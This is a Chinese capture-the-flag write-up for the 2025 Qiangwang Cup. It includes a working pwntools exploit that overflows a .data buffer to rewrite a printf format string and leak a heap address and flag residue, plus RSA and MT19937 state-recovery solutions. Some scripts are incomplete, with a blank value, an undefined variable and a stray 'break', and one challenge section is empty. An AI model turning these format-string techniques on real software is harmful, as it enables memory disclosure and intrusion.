2025-强网杯S9-wp

PWN

flag-market(复现)

这类对flag文件读取的题目之前在susctf，这边做到过一题也是简单的溢出类题型，但是这次牢不动了。溢出点找出来了，flag残留在堆上也找出来了，就是没看出来溢出后可以利用printf那边的格式化字符串漏洞泄露flag。

flag-market分析

• 先查看一下保护机制，发现没有开PIE。

• 接下来就是运行一下这个程序，算是一个循环菜单题，但是这个菜单只有两个选项。

• 接下来逆向一下这个程序，首选发现了一个关键点，我们输入选项1，使用255购买flag就会使得程序输出flag。

• 但是触发了这个输出flag功能，其实没啥用处，因为遇到{就不会再将flag输出下去了，并且在逐个输出flag之前程序已经将flag这个文件描述符给关闭了。

• 尝试运行的时候会出现这样的情况，发现还有一个输入点

• 接着继续逆向这个程序，发现这个输入点存在scanf的一个溢出漏洞，可以实现.data段溢出。

• 然后注意到上面存在一个printf函数，并且scanf输入的时候可以溢出修改format，这样很可能就是一个字符串格式化漏洞。

flag-market调试

• 接下来调试一下，先看看是否能溢出修改format那边的字符串。

• 发现format那边的字符串是已经因为溢出而被修改了。

• 接下来其实可以利用字符串格式化漏洞直接输出flag，但是flag存放在什么位置呢，接下来我们要寻找一下，由于flag直接会存放在栈上，现在我们看看栈上的flag还存不存在。其实栈上的flag不会存在的，因为在出现error的时候会先将v9清零。

• 接下来需要看看哪里还存放着flag，由于我们知道前面是有打开flag文件，需要添加一个IO_FILE结构体，而这个结构体需要用堆存放，这个时候我们来看看堆。果然，堆上有flag的残留数据，所以我们需要泄露的是堆上的这个字符串。

• 由于地址随机偏移的问题，程序每次运行时堆地址都不是固定的，所以我们要看看能不能先泄露出堆地址（所以先要使用printf先泄露堆地址），看看栈上是否有存放堆地址，发现栈上是存在堆地址的。
• 并且在printf输出的这个位置rsp的地址比存放堆地址的栈地址更低

• 这样就可以先使用%9$p将堆地址给泄露出来。但是还存在一个问题，我们只能利用1次scanf溢出，所以这次溢出还需要输入%xxx$s。

• 接下来就需要调试栈上哪个地址是有效的保存字符串的地址，以便我们在第一次printf触发格式化字符串漏洞的时候%xx$s不会导致程序崩溃，但是栈上发现没有什么有效地址。但是发现``

• 但是发现这个地方我们是可以直接控制的，可以直接输入一个地址，使得printf触发%xx$s的时候不会导致程序崩溃。并且在泄露地址之后我们还可以将这个地址修改为flag所存放的堆地址，非常巧妙。

flag-market-EXP

就直接按照上面调试的思路去编写exp即可

• exp如下：

from pwn import *
p = process('./chall')
#p = remote('0.0.0.0',7122)
context.log_level = 'debug'
p.sendline(b'1')
p.recvuntil(b'how much you want to pay?\n')
p.sendline(b'255')

#gdb.attach(p)
sleep(4)

offset = 0x4041C0-0x4040C0
p.sendline(b'a'*offset+b'%9$p%12$s')
pause()
p.sendline(b'1')
pause()
p.sendline(p64(0x4040C0))
pause()
p.recvuntil(b'how much you want to pay?\n')
str = b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%9$p%12$s'
heap_addr = p.recvline()[:-len(b'welcome to flag market!\n')-len(str)]
print('[+] heap_addr:',heap_addr)
heap_addr = int(heap_addr,16)
flag_addr = heap_addr + 0x1E0
# 0xe7c480
print('[+] flag_addr',hex(flag_addr))
p.sendline(b'1')
p.sendline(p64(flag_addr))
p.interactive()

ez-stack(复现)

ez-stack分析

ez-stack调试

ez-stack-EXP

Crypto

check-little(复现)

• 题目附件如下：

from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
import os

# 从文件中导入flag和key
flag, key = open('secret').read().split('\n')

# 小指数加密
e = 3

# 保证e和phi互素
while 1:
    p = getPrime(1024)
    q = getPrime(1024)
    phi = (p - 1) * (q - 1)
    if phi % e != 0:    # e和phi是互素的
        break
# 对key进行rsa加密
N = p * q
c = pow(key, e, N)

# 对flag进行AES加密,密钥为key
iv = os.urandom(16)
ciphertext = AES.new(key = long_to_bytes(key)[:16], iv = iv, mode = AES.MODE_CBC).encrypt(pad(flag.encode(),16)).hex()

f = open('output.txt', 'w')
f.write(f'N = {N}\n')
f.write(f'c = {c}\n')
f.write(f'iv = {iv}\n')
f.write(f'ciphertext = {ciphertext}\n')
"""
N = 18795243691459931102679430418438577487182868999316355192329142792373332586982081116157618183340526639820832594356060100434223256500692328397325525717520080923556460823312550686675855168462443732972471029248411895298194999914208659844399140111591879226279321744653193556611846787451047972910648795242491084639500678558330667893360111323258122486680221135246164012614985963764584815966847653119900209852482555918436454431153882157632072409074334094233788430465032930223125694295658614266389920401471772802803071627375280742728932143483927710162457745102593163282789292008750587642545379046283071314559771249725541879213
c = 10533300439600777643268954021939765793377776034841545127500272060105769355397400380934565940944293911825384343828681859639313880125620499839918040578655561456321389174383085564588456624238888480505180939435564595727140532113029361282409382333574306251485795629774577583957179093609859781367901165327940565735323086825447814974110726030148323680609961403138324646232852291416574755593047121480956947869087939071823527722768175903469966103381291413103667682997447846635505884329254225027757330301667560501132286709888787328511645949099996122044170859558132933579900575094757359623257652088436229324185557055090878651740
iv = b'\x91\x16\x04\xb9\xf0RJ\xdd\xf7}\x8cW\xe7n\x81\x8d'
ciphertext = bf87027bc63e69d3096365703a6d47b559e0364b1605092b6473ecde6babeff2
"""

check-little分析

• 这题感觉有点幽默，通过对代码的分析，首先我们是先要求解RSA加密获取key。但是这个题目就给了n、c，并且n是很难硬分解出来的。2025.12.2是可以用factordb查到的，但是当时比赛是查不到的。
• 这里其实有个非常小细节就是gcd(c,N)!=1，这其实就说明了c就是N的一个因子，这样N就可以直接被分解了，key直接可以求了，剩下的就是正常的RSA解密和AES解密操作了。

check-little—exp

from Crypto.Util.number import *
import gmpy2
from Crypto.Cipher import AES
e = 3
N = 18795243691459931102679430418438577487182868999316355192329142792373332586982081116157618183340526639820832594356060100434223256500692328397325525717520080923556460823312550686675855168462443732972471029248411895298194999914208659844399140111591879226279321744653193556611846787451047972910648795242491084639500678558330667893360111323258122486680221135246164012614985963764584815966847653119900209852482555918436454431153882157632072409074334094233788430465032930223125694295658614266389920401471772802803071627375280742728932143483927710162457745102593163282789292008750587642545379046283071314559771249725541879213
c = 10533300439600777643268954021939765793377776034841545127500272060105769355397400380934565940944293911825384343828681859639313880125620499839918040578655561456321389174383085564588456624238888480505180939435564595727140532113029361282409382333574306251485795629774577583957179093609859781367901165327940565735323086825447814974110726030148323680609961403138324646232852291416574755593047121480956947869087939071823527722768175903469966103381291413103667682997447846635505884329254225027757330301667560501132286709888787328511645949099996122044170859558132933579900575094757359623257652088436229324185557055090878651740
iv = b'\x91\x16\x04\xb9\xf0RJ\xdd\xf7}\x8cW\xe7n\x81\x8d'
ciphertext = "bf87027bc63e69d3096365703a6d47b559e0364b1605092b6473ecde6babeff2"
p = gmpy2.gcd(N,c)
q = N//p
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
key = pow(c,d,N)
print(key)
flag = AES.new(key = long_to_bytes(key)[:16], iv = iv, mode = AES.MODE_CBC).decrypt(bytes.fromhex(ciphertext))
print(flag)
# b'flag{m_m4y_6e_divIS1b1e_by_p?!}\x01'

ezran(复现)

• 唉，MT19937可恶啊。这题其实是鸡块师傅的这题改编的：2024-同济大学第二届网络安全新生赛CatCTF-wp-crypto | 糖醋小鸡块的blog

• 当时8月底打一场国外的比赛遇到的一题MT19937就是参考鸡块师傅的博客，当时数据量要3w多位才能完全恢复出状态，而这题位数还是不太够，所以需要进行解空间的爆破。其实有个妙妙小工具也能梭出来gf2bv，当时我使用工具的能力比较弱（其实是github项目用少了），所以当时没解出来。附件如下：

from Crypto.Util.number import *
from random import *

f = open('flag.txt', 'r')
flag = f.read().encode()

gift=b''
for i in range(3108):
    r1 = getrandbits(8)
    r2 = getrandbits(16)
    x=(pow(r1, 2*i, 257) & 0xff) ^ r2
    c=long_to_bytes(x, 2)
    gift+=c

m = list(flag)
for i in range(2025):
    shuffle(m)

c = "".join(list(map(chr,m)))

f = open('output.txt', 'w')
f.write(f"gift = {bytes_to_long(gift)}\n")
f.write(f"c = {c}\n")
"""
gift = 168493851417703588548717029794221613683761608041893136816774988942210201994806596486241111040187799315220699962492746016622155912284478083344259006047064466530066578534091640506252873545847613733060767421165922910165849223819724771556996494266348599637799951498602746172472474043560918655182558487306147173253422369304357435106491753842966797366083372732187941143068734603010312527404336466872564527614092461890866282112524694045530645483351579829711345854763872431079756099257846824411200253257412109940610074137453609429041768315883551396484832248218440113814690879176881687180871131579058837471639695650265190318205178745361186935073271386611844568108740911432765331701793516302479246166940357105837539690883141119997463237787269212088455618829028396141005651196540503521066330522509838601645943511333185114892199238804955409944054580101299762416568219273861856063968915778941693176764489855938839698256364144488179689211978865667664960974878815407643617282227532221450793227770838900181538687328919426450353603081046514391056461591616216174009564828843707591227954891786703350759224277926318809808916410247674897941670422240963148473953456558821728749123626200027671191982247693679320607183589299528206704194601764177572496360544233768450334735712130130267581340473331353959190088742584494613208621185990632619860141405411912362432728314322393818385848897904107372834186852716970816090008535161448034423990041916009648137380343725290836775326114110274297749483275940368625477003758746335205804977399820156745981465674830234199739248323149920058375324189144098449040510165605599458203741111522470947119730428547366691770715499413413367529743515266704349704141893342205653261207573638394517048371086026935449076404131938571829516285438664643052705129346171620305094633510113532012518080462416793927818576509658195145842246681747695169502030819509383635202280717014577664499834243197295627676018865483714537820388177766992132798129191494911804570469818465200777734403184265543159071263368755317395255554623840647940421572348146098288636827691036469237652040438008490132448405920269576786515196909991808788190663314609718567977418756106336887801228631042101707150590778917653022698331038106663437419288867731238438974857826512317644423825015482995502748048206587269708329220808512323086479093516682323995943159594153689815953716344041199370981611848579119408833415948562059814210905818824768361943190988815461054362969297170250868283106431908804969364570767898276942355588586201537328329555492933975347157845507467193525308842838922853952185951465585564371084689967013599756600669180450671906969207277808236924055454456323048624210292100010384416255592649537647364576659170150625584323352123247168198638226619163027688540581648696604690724205148206306078743930680961252222413069308924238013053548949456240829095233716884614992348767770353902785194229005549790110818067697079300400832975076321181834948608058029427984144412690313236628832273251119172920527016646462300384279812560851195411807901786126153814197537929318116538207661749739802255592321185567803336550526046751031827918408436270971418573611110272244522797326168508440974669471102704086154712467229767007412708489552997134330599967136855440643823197416253318501533253961177861839734562906960677177191296915438859535839385101738412308133060913812362676311701827892895826967801247055868010508514803882411916740617763330851481821357109368266599800725772299802181413015445056166093973467525125713181250957286546610875608141940922097741930867719210284539977034794377276046216869908197219748642399481675159424498269862517396003734200216571003560672579890552614742052223540985540162478857796689280542024723006813567335654906992190541607296917467063921670189747472977788786797984813763833031273280079685938029446657798855083584914451049893181048484027139228324080204617400363957985750180825578886286185301649760717949114498059935930230776757232268970788743924384740113941177088825111402056058560091241917400854587003809758329735364976823137892709942906021831251875124127014738247486619844929640889666809812546545482616407312817428260053152265008980921269336014371027735299470358749333693299873458627014498551508036270558633130409491016980345737815189857926198294051167009177308050198495661521884173111351282983232002528597548808405359209793508276795878408898109157480721822043763048509487760260914787394724796900130259669249322104550043050295843426053619143506356701887926133161397252316191665703977797375968789166426798609142945518729878825039416320146590559698920980735734926326829887743628616283774550706084762275195050233768249528399370223480483573173789683015959162952747401299202300615444495060713207212029005004781805394348840556694826773523388071106795229775184137117169345825631149389393335822472640201582322934410227038258131804594515738906940260945039107931989653815482631344077833583674747882139716729982457484272907922461298302691722189927789093004927951214154185612998105538140218768518835907645893611051501742990263966496343954351812667851336184166315571117781294769417772968176133922513129290211216331510343345615548585203381885876397451117054415208746526772935486316312280346780339557434902966064490393223591726168112612485182060381625142739407136386838698493591285225829633806595288501031920044842858964735938709519430596531452418314167933031091088243078598705921489546662233098883237811401550435847344424884875136695432722854251823650967320593784144581122999707396159318953810071294133085807571286691522998454756288760672781095120756155934800053661085151349528042941271025105627141228121312183781093524628304563024568724621004583181965115677027654535329509223623711837683004368160755347251275152846320719324782344712005146071533391473079356983500614195011009148044454454873708756931869127156187628973982892766265397622022779482753909630895602249544516155313101983226382016896264514030588482631639061413056529159330904547406464740687518642381719947115472352642965284455916539920180703687636932569612103281662773321645016403573081442555415478555267522617495382486265189493056670210622806648557137456700010484764522959909403897179697159987743346852919441332951029088194266645495052129093922734653699393094584771740829582526400019974648845736936686530160754108593021094404924829058765855081897870767489173993652058930379223784456127651434421716813086210463969954908410736427401637368317270314952898170230256621585374583259521686881860428617596074255172598000166884433515535224633918704702506976106954489894438988035475482478659220826019109727636992564606929421199714900264505777534558969766567251618146548564421797629250332818161509449786969751607653312145896569104292005257731290816757394835852600798564162794437122331967096002340499686038514511604260108200599893274980535536348086056443621353450341785921696773115280237051561047128911658523418825115852843140433443107525091329268119661186936379808894189794342282730927558335699236591131639713223692727396901760063493070892397653845538093433461755881285777739438006345613527663101043270352441099716442072623979257566288652679776019536163617934043077102344924025363069426420688034206194048899752907223079862819616321851661199550570090144503343274070627419179357938404281319390921222004519213551656632572744987591847186607702016700277931409469827365666817644659309100672534208785365165935945597102256768997709598501865595720238860104083787650265521799657285801871788637907076516942812657323933618553987201215239634054943665806392720693725004488122455402541570538958091762154853469417723670571641953991788395118994606211028369090807826653085900823465675545619366377489305770624968222477418354279437216570990595559271827983774793454101247475591009345799502913307747100958605918274479348791986223902872331880355946742709053205621530700838263031234951631365888771641521741764818194258504664327855170147101641348821394515822264738408349751925191707430282001017906385701671352359601132194782242048511004555673046006254330652420587925083578518856512666826499610305872066985753845930335564637262577438736274913519961224355548369802962173071608763367681292829107900388008707743642136962073886928649252424138555798240202206569775490092983842230556381691697884252208596681448806582534316946356373697456734902187543552004615679703337442043938275736043470456261826461905157577862665448393624236153896285652844792760676753951361073793718620302729363783145798685301281402457075497195164156671519875316730930158860981310238913709302769377672139044871895747981515821913830167116036579550827490216146414731711539609182026971124878221183569632145365050946877178781401463433570750229474813041714717779124448659121761348052104029147518031300549513989734284494649558783587139960761537723536563270642603395470163134989657819651927267492277298303240457967850451107927094542742628447568368596851090351007083518513464560901681497519213614739681522617598542336034012634191704512551178275303255158438113925469179379911878664107132007624661067404008585378828525681656060812305908324711180668403000576404679210643509997419173588278754074649318636571227234890423407653662478745778378319815710685142053712905271904165602950296182076509335716478344811534057186580167627036593458289412629367073684123180839866932864944868279723281447500329937623117512717700212960779439517550150946217707596577363427457179599947854965056380390507794719595599930568222672322355416529130802012222818613537543588137522406062006231252979399041237771012273641743242025088456484974031330751969278092971659432729692391293640785127451282151272181548942872988202096583409080071077968423122208960101107657872567645475483323168346722624382859919894601983898537640010732849734647606020695045634884115530526789717267728964590479548802570902597153508480108015086705714481111264932711109224295459481444086335381805764426243097780585123582478461428010185950063222224859982397153536527078581818291026521376862563009669136823809309127444143642673463208329361566308965293931266918196509026968543210064758347471246933113880162067519147262120645556641685197207047017759694064455060486281732683369694416564529492377163716345666241275926864922933171087108464358560211280941258697553522999266180689771179727292478771528221828851087567288839446172973694751012301360534171677733326606738089910275045432153788159230039696414358460436841602367381212353442816939675481067398292449946144405092354544850059304240577087356525899638198286468890191905940391258948679170390872430049524454817902695192174810012823951487132448131147778173534582079047573969695541089656254494953917746391729239764270786159530911865799259089144893340544019903380236730096930510948311431664625701812394224108355031348983767807007733995475203929460297531830490680846870035768250706455068456396334167349991040356791060481433668917495028306239719492735659808613643729867579857349355122376151990028116090613848018520522180698735212767495845988215952380311723140188953600368421317307115717372457501814237336740158617839714895844957819058335596849089973521915138404898088143552838334259663978278219327462108589459385899936933033590983574142032933324318927911890125907745125415285798799105530150785456202008388274097343913758794377987872768886339692168774118500460401470497790982170128141832738487277992704865618776698531872303791378736997573603036100098971532260222130994641985774305486234979211180329206484393237755281202654908807836494268032588469956586716574623054373853676060777780197200492259764149326966747483207571822670401570709160125427927195543385833197997978702295065602080525707398489721265792076256922889988560399502486991785445062061460672236493808356657152300669412399328409760246210387834338912933769395441870485774327737818508553732802388180761694142742042964001434043601041144625674461214793829972264525885941186575615217273991850163942264811525882604106881908363769928217600051223717201947136231968415848044744474281498298957726186753431215269507321805270052778556811511980874699282662907056554402480904580169516559538216392351173091883441891607626462557361134362740046358642201188427094689840558512721672012304580653503208840304566592466300203607983416437762350170466124829501124888762570873134134213950286972435708743564005936867142074772153478519856332130182123520084539527285574304599545645392002942661422250871599164382198478679901087658037827204190354503412285407799905474501153421079698984575159483134766387822378103803433599740550121804420653196302569920093145544532220531107782917887209130431012125552695034836034185047067326711077432723144332970596459355609117758439373083370085174578039829567702065388412723720292451931407638929074433294867067812882674520842748717297122444477867255523551832264816501540483010927336323563407428875048110936932133778257192406090187127172094554944548966329662641419042835092529355037357386093634896695932363708039821469338663314461436450908042186769072187268145069579756649696849981676364231931604714583809341713707219055247479653248424128544144545947424377402338229784169585279142084829555450236705376851288238731729768068428271237677964366905196935722944638218205931434731904109882014664652759645959371898949487300643707583744559952690450344614412461417591800483386921320530809237552281364618318594473804432590562468160117595272656725615802510107325760661561079343962125426744218871939196710181026897980078141920988235351415044551317578490754118804749165975894016505409390844062060028941604653878185582599032667959036429725924232941469263326353068145244808076568900497747172317041455727390079072969862893686010604759845470389930035725699372069559369810605128343708422439234650907531173725146444987385722370497088235384491930636269563984872141157485720925361530642765388373189075507980495838688064146115160226038643055659624122211567738061135537839985700945316654234791732682545564489284192346768545308382695839487097631067536886406430379115297019613758386433439672594062059682694079538310265728673800061679012209864122810657231573862064831536614619574958883295226021688953682076869363345338388197948013325224897171199708338473670892392317330187578938134262639370272395368653547105078041663335625740377268391401135556647689821556159565311060931009729254442622790349828965979939000391555466376502822227509927802776246004396874915461629678844701775744322142498901374447391767675442115844473244665993898581112624180236027979489508415176900978549876311339598005664940334460083100712835230851859311666413963296894887994552731984601621609846509659638381394337394062813836175696154228766792597888196115903622293677491319485870597771257210897437815934820082933124015647249436688864274331900509908481698145094449067375676528933942279038838563423823884900289677915579824146082390954266834471175956313778453814060119691398710720689085758791466226225762543591370329144706415171050851661675785510003777925152328720809158576440802021714017825707601419487298473299703156511815459448914505862019500821751317490526865631996154165747978597812922432590371048023310017203060092344405806613937640514811171581563443248712048158
c = )9Lsu_4s_eb__otEli_nhe_tes5gii5sT@omamkn__ari{efm0__rmu_nt(0Eu3_En_og5rfoh}nkeoToy_bthguuEh7___u
"""

ezran分析

• 感觉分析写到后面逻辑性有点问题

• 根据题目附件的代码就会发现这个其实是MT19937的伪随机数预测的题目。首先来看看到：

$$r_1 =getrandbits(8)\\ r_2 = getrandbits(16)$$

• 然后会接下来其实要注意到的是下面这个式子，因为我们得到的gift就是与下面这个式子相关的。

$$x=((r_1^{2i}~mod(~257))~~\&~~0xff)\oplus~r_2$$

• 首先注意到$r_1^{2i}~mod(~257)$，其中257是一个素数，由欧拉判别定理可以得到如下结论，若$(r_1,p)=1$，则$r_1$是模p的平方剩余有：

$$r_1^{\frac{p-1}{2}}=r_1^{128}\equiv1~mod(~257)$$

• 然后再注意到$r_1$是模p的平方非剩余有：

$$r_1^{\frac{p-1}{2}}=r^{128}=-1~mod(~257)$$

• 所以当$2i=128k$，也就是$2i$是128的整数倍的时候就只会出现上面两种可能，也就是i是64的整数倍的时候会出现上面的两种可能。此时当转换为$[0,p-1]$这个范围内就有：

$$r_1^{\frac{p-1}{2}}\equiv 1~mod(~257)=0b00000001\\ r_1^{\frac{p-1}{2}}\equiv256~mod(~257)=0b100000000$$

• 注意到结果会&0xff，这就说明一点异或只会改变$r_2$低8位的数据，而$r_2$高8位的数据是始终泄露出来的，所以就有如下结论：

  • 当$i$是一般情况的时候，$r_2$的高8位始终能泄露出来，低8位不知道情况
  • 当$i$是64的倍数的时候，$r_2$的高15位始终能泄露出来，低1位不知道情况

• 所以对于3108个的$r_2$，可以泄露的位数为：

  • 一般情况3108×8=24864，这种情况是包可以恢复出来的。
  • 特殊情况i是64的整数倍时，还可以泄露出$\lfloor\frac{3108}{64}\rfloor×7=48×7=336$
  • 最终可以泄露：24864+336=25200

• 已知19968位是绝对可以恢复出初始状态的，这种就是直接解出矩阵方程即可，已知$\mathbf{b}$，获取$\mathbf{T}$，就可以解出这个线性方程$\mathbf{S}$（也就是state即状态方程），其中这个$\mathbf{T}$应该需要使用黑盒测试来获取（详细原理到时候会开一篇MT19937的文章介绍）：

$$\mathbf{s}_{1×19968}\mathbf{T_{19968×19968}}=\mathbf{b_{1×19968}}$$

• 接下来第一部分恢复已经分析完了，接下来一步就是分析shuffle()这个函数，该函数可以将m这个列表随机打乱，随机打乱使用到的随机数也是来自于上面MT19937的状态，所以只要恢复了MT19937的状态shuffle()部分其实很好解决。

• 接下来先尝试恢复一下：

import sys
sys.set_int_max_str_digits(100000)
from Crypto.Util.number import *
from random import *
from tqdm import *

gift =  
candidate = []
ct = ')9Lsu_4s_eb__otEli_nhe_tes5gii5sT@omamkn__ari{efm0__rmu_nt(0Eu3_En_og5rfoh}nkeoToy_bthguuEh7___u'
x = long_to_bytes(gift)
print(len(x)//2)
for i in range(len(x)//2):
    candidate.append(bytes_to_long(x[i*2:(i+1)*2]))

######################################################### part1 recover MT and get seed
gift = long_to_bytes(gift)
RNG = Random()


def construct_a_row(RNG):
    row = []
    for i in range(len(gift)//2):
        RNG.getrandbits(8)
        if i == 0:
            row += list(map(int, (bin(RNG.getrandbits(16) >> 1)[2:].zfill(15))))
        else:
            row += list(map(int, (bin(RNG.getrandbits(16) >> 8)[2:].zfill(8))))
    return row

L = []
for i in trange(19968):
    state = [0]*624
    temp = "0"*i + "1"*1 + "0"*(19968-1-i)
    for j in range(624):
        state[j] = int(temp[32*j:32*j+32],2)
    RNG.setstate((3,tuple(state+[624]),None))
    L.append(construct_a_row(RNG))

L = Matrix(GF(2),L)
R = []
for i in trange(len(gift)//2):
    if (i == 0):
        R += list(map(int, (bin(candidate[i] >> 1)[2:].zfill(15))))
    else:
        R += list(map(int, (bin(candidate[i] >> 8)[2:].zfill(8))))

R = vector(GF(2),R)
s = L.solve_left(R)

• 在恢复的时候求解出线性方程组时，就会发现一个问题泄露的数据量不够，导致解出来的线性方程组的解的秩$rank(\mathbf{s})<19968$（或者解集$s$维数不为0），导致方程组的解不唯一。所以还需要想办法对这个解进行爆破等操作。
• 此时我们先看看这个方程解出来的秩是多少，这里也稍微介绍一下核kernel的概念，因为s是该方程组的一个特解，所以如果直接求s的秩的话一般都是满秩的，所以我们需要求s对应的核空间的一个元素，这样才能得到该方程组的秩，其实也可以使用矩阵$T$计算秩。
  • 核的定义：设$A$是域$F$上线性空间$V$到$V'$的一个线性映射，则$V$的子集$KerA:=\{\alpha\in V|A\alpha=0'\}$，称为$A$的核。
  • 从上面核的定义中可以知道，核其实就是一个映射到$V'$空间且满足$0'$解的集合。
  • 所以我们先将该特解映射到其核空间中看看维数是否为0，如果维数为0那么解唯一，不为0，那么解就不唯一，需要爆破解。

R = vector(GF(2),R)
s = L.solve_left(R)
print(s)
dim_s = L.left_kernel().dimension()
print("解集s的维数:",dim_s)

• 从上面可以得到解集s的维数不为零，这就导致约束太少，求得的解集自由度比较高。现在就要想如何进行爆破操作，在学习线性代数的时候我们有学习到下面俩个知识点：
  • 齐次线性方程组解的结构：将主元使用非主元的未知数表示，构成一个通解也构成一个线性空间。
  • 非齐次线性方程组解的结构：对应齐次线性方程组的通解加上非齐次线性方程组的一个特解，构成一个线性流型（线性流型并不是线性子空间）
• 此时我们需要先构造出该方程（也就是非齐次线性方程组）的通解，根据通解取遍历所有解，从而爆破出正确的解。首先我们特解s已经被解出来了，现在就是要看看通解。
• 并且由于该方程是在有限域$GF(2)$上的解，所以解集是有限的，通过排列组合可以得到解向量中自由解每个都可以取0或1，这样就可以得到维数与解的总数二者之间的关系为：

$$count_{result}=2^{dim~(s)}$$

R = vector(GF(2),R)
s = L.solve_left(R)
print(s)
dim_s = L.left_kernel().dimension()#basis()
print("解集s的维数:",dim_s)
null_basis = L.left_kernel().basis() # 先求出左核空间的一组基
s0 = s # 获取特解
basis = null_basis # 获取齐次线性方程组解空间的基

print(f"左零空间维数 d = {dim_s}, 总特解数量 = {2**dim_s}")

• 虽然说总特解数量还是比较多，但是其实可以爆破出来的，这里直接使用itertools库中的product将所有自由变量的取值都遍历一遍，下面做一个示例：

from itertools import product
candidate = list(product([0,1], repeat=4)) # 用来生成多个序列的笛卡尔积，并转换为列表形式
print(candidate)
[(0, 0, 0, 0), (0, 0, 0, 1), (0, 0, 1, 0), (0, 0, 1, 1), (0, 1, 0, 0), (0, 1, 0, 1), (0, 1, 1, 0), (0, 1, 1, 1), (1, 0, 0, 0), (1, 0, 0, 1), (1, 0, 1, 0), (1, 0, 1, 1), (1, 1, 0, 0), (1, 1, 0, 1), (1, 1, 1, 0), (1, 1, 1, 1)]

• 接下来就需要计算出该核空间的一组基，如下所示（只是一个例子）：

$$B = \begin{bmatrix} 0&1&\dots&0&0\\ 0&0&\dots&0&0\\ \vdots&\vdots&\ddots&\vdots&\vdots\\ 1&1&\dots&0&1 \end{bmatrix}_{38×19968}$$

• 最后遍历所有自由度加上通解即可开始爆破状态：

from itertools import product
from tqdm import *
solutions = []
for coeffs in product([0,1], repeat=d):
    # 构造一个完整解 s_candidate = s0 + sum(coeff_i * basis_i) = (0,1,.....,0)
    s_candidate = s0
    for c, b in zip(coeffs, basis):
        if c == 1:
            s_candidate += b
    # 将该解转换为GF(2)下的向量
    s_candidate = vector(GF(2), s_candidate)
    # s_candidate作为初始化状态即可,就可以构造init,从而开始爆破初始状态
    init = "".join(list(map(str, s_candidate)))
    state = []
    for i in range(624):
        state.append(int(init[32*i:32*i+32], 2))

    RNG1 = Random()
    RNG1.setstate((3, tuple(state + [624]), None))

    # 接下来就是恢复操作了
    for i in range(3108):
        RNG1.getrandbits(8)
        RNG1.getrandbits(16)
    x = [i for i in range(len(ct))]
    
    for i in range(2025):
        RNG1.shuffle(x)
    
    flag = ""
    for i in range(len(ct)):
        flag += ct[x.index(i)]
    if 'flag' in flag:
        print(flag)

ezran-EXP

• 完整exp如下：

from Crypto.Util.number import *
from random import *
from tqdm import *

gift = 
ct = ')9Lsu_4s_eb__otEli_nhe_tes5gii5sT@omamkn__ari{efm0__rmu_nt(0Eu3_En_og5rfoh}nkeoToy_bthguuEh7___u'
candidate = []

gift = long_to_bytes(gift)
RNG = Random()

def construct_a_row(RNG):
    row = []
    for i in range(len(gift)//2):
        RNG.getrandbits(8)
        if i == 0:
            row += list(map(int, (bin(RNG.getrandbits(16) >> 1)[2:].zfill(15))))
        else:
            row += list(map(int, (bin(RNG.getrandbits(16) >> 8)[2:].zfill(8))))
    return row

L = []
for i in trange(19968):
    state = [0]*624
    temp = "0"*i + "1"*1 + "0"*(19968-1-i)
    for j in range(624):
        state[j] = int(temp[32*j:32*j+32],2)
    RNG.setstate((3,tuple(state+[624]),None))
    L.append(construct_a_row(RNG))

L = Matrix(GF(2),L)
R = []
for i in trange(len(gift)//2):
    if (i == 0):
        R += list(map(int, (bin(candidate[i] >> 1)[2:].zfill(15))))
    else:
        R += list(map(int, (bin(candidate[i] >> 8)[2:].zfill(8))))

R = vector(GF(2),R)
s = L.solve_left(R)
#print(s)
dim_s = L.left_kernel().dimension()#basis()
print("解集s的维数:",dim_s)
null_basis = L.left_kernel().basis() # 先求出左核空间的一组基
s0 = s # 获取特解
basis = null_basis # 获取齐次线性方程组解空间的基
print(basis)
from itertools import product
from tqdm import *
solutions = []
print(len(s0))
for coeffs in product([0,1], repeat=d):
    # 构造一个完整解 s_candidate = s0 + sum(coeff_i * basis_i) = (0,1,.....,0)
    s_candidate = s0
    for c, b in zip(coeffs, basis):
        if c == 1:
            s_candidate += b
    # 将该解转换为GF(2)下的向量
    s_candidate = vector(GF(2), s_candidate)
    # s_candidate作为初始化状态即可,就可以构造init,从而开始爆破初始状态
    init = "".join(list(map(str, s_candidate)))
    state = []
    for i in range(624):
        state.append(int(init[32*i:32*i+32], 2))

    RNG1 = Random()
    RNG1.setstate((3, tuple(state + [624]), None))

    # 接下来就是恢复操作了
    for i in range(3108):
        RNG1.getrandbits(8)
        RNG1.getrandbits(16)
    x = [i for i in range(len(ct))]
    
    for i in range(2025):
        RNG1.shuffle(x)
    
    flag = ""
    for i in range(len(ct)):
        flag += ct[x.index(i)]
    if 'flag' in flag:
        print(flag)
		break
# flag{7hE_numbEr_0f_biT5_i5_Enou9h_@L5o_ThE_r4nk_must_3n0ugh}(some_noise_to_make_sure_you_get_it)

• 最终flag为：

flag{7hE_numbEr_0f_biT5_i5_Enou9h_@L5o_ThE_r4nk_must_3n0ugh}